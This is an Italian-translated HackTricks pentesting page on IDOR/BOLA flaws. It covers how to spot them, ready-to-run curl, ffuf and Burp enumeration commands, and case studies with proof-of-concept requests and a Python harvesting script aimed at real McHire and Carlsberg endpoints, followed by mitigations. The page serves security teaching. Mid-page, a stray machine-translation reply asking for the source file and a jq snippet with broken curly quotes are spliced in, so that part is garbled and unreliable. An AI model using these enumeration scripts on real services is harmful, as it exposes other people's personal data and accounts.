IDOR (Insecure Direct Object Reference)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) si verifica quando un endpoint web o API divulga o accetta un identificatore controllabile dall’utente che viene usato direttamente per accedere a un oggetto interno senza verificare che il chiamante sia autorizzato ad accedere/modificare quell’oggetto. Lo sfruttamento riuscito consente normalmente un’escalation di privilegi orizzontale o verticale, come leggere o modificare i dati di altri utenti e, nel peggiore dei casi, account takeover completo o mass-data exfiltration.
1. Identificare potenziali IDOR
- Cerca parametri che fanno riferimento a un oggetto:
- Percorso:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Header / Cookie:
X-Client-ID: 4711
- Privilegiare endpoint che leggono o aggiornano dati (
GET,PUT,PATCH,DELETE). - Nota quando gli identificatori sono sequenziali o prevedibili – se il tuo ID è
64185742, allora64185741probabilmente esiste. - Esplora flussi nascosti o alternativi (es. link “Paradox team members” nelle pagine di login) che potrebbero esporre API aggiuntive.
- Usa una sessione autenticata a basso privilegio e cambia solo l’ID mantenendo lo stesso token/cookie. L’assenza di un errore di autorizzazione è solitamente un segno di IDOR.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Enumerazione automatizzata (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumerazione di ID di download prevedibili (ffuf)
I pannelli di file-hosting autenticati spesso memorizzano i metadata per utente in un’unica tabella files ed espongono un endpoint di download come /download.php?id=<int>. Se il handler verifica solo che l’ID esista (e non che appartenga all’utente autenticato), puoi scansionare lo spazio degli interi con il tuo session cookie valido e rubare i backups/configs di altri tenant:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frrimuove i template in stile 404 così rimangono solo i veri hit (es., IDs 54/150 leaking full site backups and signing material).- Lo stesso FFUF workflow funziona con Burp Intruder o un curl loop—assicurati solo di rimanere autenticato mentre incrementi gli IDs.
Enumerazione combinatoria autenticata (ffuf + jq)
Alcuni IDORs accettano multiple object IDs (es., thread di chat tra due utenti). Se l’app verifica solo che sei loggato, puoi fuzzare entrambi gli IDs mantenendo il session cookie:
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json
I don’t have the contents of src/pentesting-web/idor.md. Please paste the file text you want translated.
Meanwhile, to post-process JSON and remove symmetric duplicate pairs (A,B) vs (B,A) keeping only one unique pair, you can use this jq filter. It supports both arrays-of-arrays ([“A”,“B”]) and arrays-of-objects ({a:“A”,b:“B”}):
cat pairs.json | jq ‘map({ orig: ., key: (if (type==“array”) then (. | sort | join(“|”)) else ([.a,.b] | sort | join(“|”)) end )}) | unique_by(.key) | map(.orig)’
- For an array-of-arrays input, it returns the unique arrays.
- For an array-of-objects with fields a and b, it returns the unique objects.
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
Oracle di risposta di errore per l’enumerazione di user/file
Quando un download endpoint accetta sia un username che un filename (e.g. /view.php?username=<u>&file=<f>), sottili differenze nei messaggi di errore spesso creano un oracle:
- username inesistente → “Utente non trovato”
- filename errato ma estensione valida → “Il file non esiste” (a volte elenca anche i file disponibili)
- estensione errata → errore di validazione
Con qualsiasi sessione autenticata, puoi fuzzare il parametro username mantenendo un filename benigno e filtrare sulla stringa “Utente non trovato” per scoprire utenti validi:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Una volta identificati username validi, richiedere direttamente file specifici (es., /view.php?username=amanda&file=privacy.odt). Questo comportamento porta comunemente alla divulgazione non autorizzata dei documenti di altri utenti e a credential leakage.
2. Caso reale – McHire Chatbot Platform (2025)
Durante una valutazione del portale di recruitment McHire alimentato da Paradox.ai è stato scoperto il seguente IDOR:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: cookie di sessione utente per qualsiasi account di test di un ristorante
- Body parameter:
{"lead_id": N}– identificatore numerico di 8 cifre, sequenziale
Diminuendo lead_id il tester ha recuperato candidati arbitrari con full PII (nome, e-mail, telefono, indirizzo, preferenze di turno) oltre a un consumatore JWT che ha permesso il session hijacking. L’enumerazione dell’intervallo 1 – 64,185,742 ha esposto circa 64 milioni di record.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combinata con le default admin credentials (123456:123456) che garantivano l’accesso all’account di test, la vulnerabilità ha causato una violazione critica dei dati a livello aziendale.
Caso di studio – QR code dei braccialetti come weak bearer tokens (2025–2026)
Flow: I visitatori della mostra ricevevano braccialetti con QR code; la scansione di https://homeofcarlsberg.com/memories/ permetteva al browser di prendere il printed wristband ID, hex-encode it, e chiamare un backend cloudfunctions.net per recuperare i media memorizzati (foto/video + nomi). Non c’era no session binding o autenticazione utente—knowledge of the ID = authorization.
Predictability: Gli ID dei braccialetti seguivano un pattern breve come C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Lo spazio di possibili combinazioni era stimato in ~26M, triviale da esaustare online.
Exploitation workflow with Burp Intruder:
- Payload generation: Generare ID candidati (p.es.
[A-Z]-###-###). Usare un Burp Intruder Pitchfork o Cluster Bomb attack con posizioni per la lettera e le cifre. Aggiungere una payload processing rule → Add prefix/suffix → payload encoding: ASCII hex così ogni richiesta trasmette la stringa hex attesa dal backend. - Response grep: Configurare Intruder per grep-match cercando marker presenti solo nelle risposte valide (es. media URLs/campi JSON). Gli ID non validi tipicamente restituivano un array vuoto/404.
- Throughput measurement: Sono stati testati ~1,000,000 ID in ~2 ore da un laptop (~139 req/s). A quel ritmo l’intero keyspace (~26M) si esaurirebbe in ~52 ore. Il run di esempio ha già esposto ~500 braccialetti validi (video + nomi completi).
- Rate-limiting verification: Dopo che il vendor ha dichiarato throttling, è stata rieseguita la stessa configurazione di Intruder. Throughput/hit-rate identici hanno dimostrato che il controllo era assente/inefficace; l’enumerazione è continuata indisturbata.
Quick scriptable variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Lezione: Codifica (ASCII→hex/Base64) does not add entropy; short IDs become bearer tokens that are enumerable despite cosmetic encoding. Without per-user authorization + high-entropy secrets, media/PII can be bulk-harvested even if “rate limiting” is claimed.
3. Impatto di IDOR / BOLA
- Escalation orizzontale – leggere/aggiornare/cancellare i dati di altri utenti.
- Escalation verticale – un utente con pochi privilegi ottiene funzionalità riservate agli admin.
- Violazione massiva dei dati se gli identificatori sono sequenziali (es., ID dei candidati, fatture).
- Account takeover rubando token o resettando le password di altri utenti.
4. Mitigazioni & Best Practices
- Enforce object-level authorization on every request (
user_id == session.user). - Prefer indirect, unguessable identifiers (UUIDv4, ULID) instead of auto-increment IDs.
- Perform authorization server-side, never rely on hidden form fields or UI controls.
- Implement RBAC / ABAC checks in a central middleware.
- Add rate-limiting & logging to detect enumeration of IDs.
- Security test every new endpoint (unit, integration, and DAST).
5. Strumenti
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- 0xdf – HTB: Guardian
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


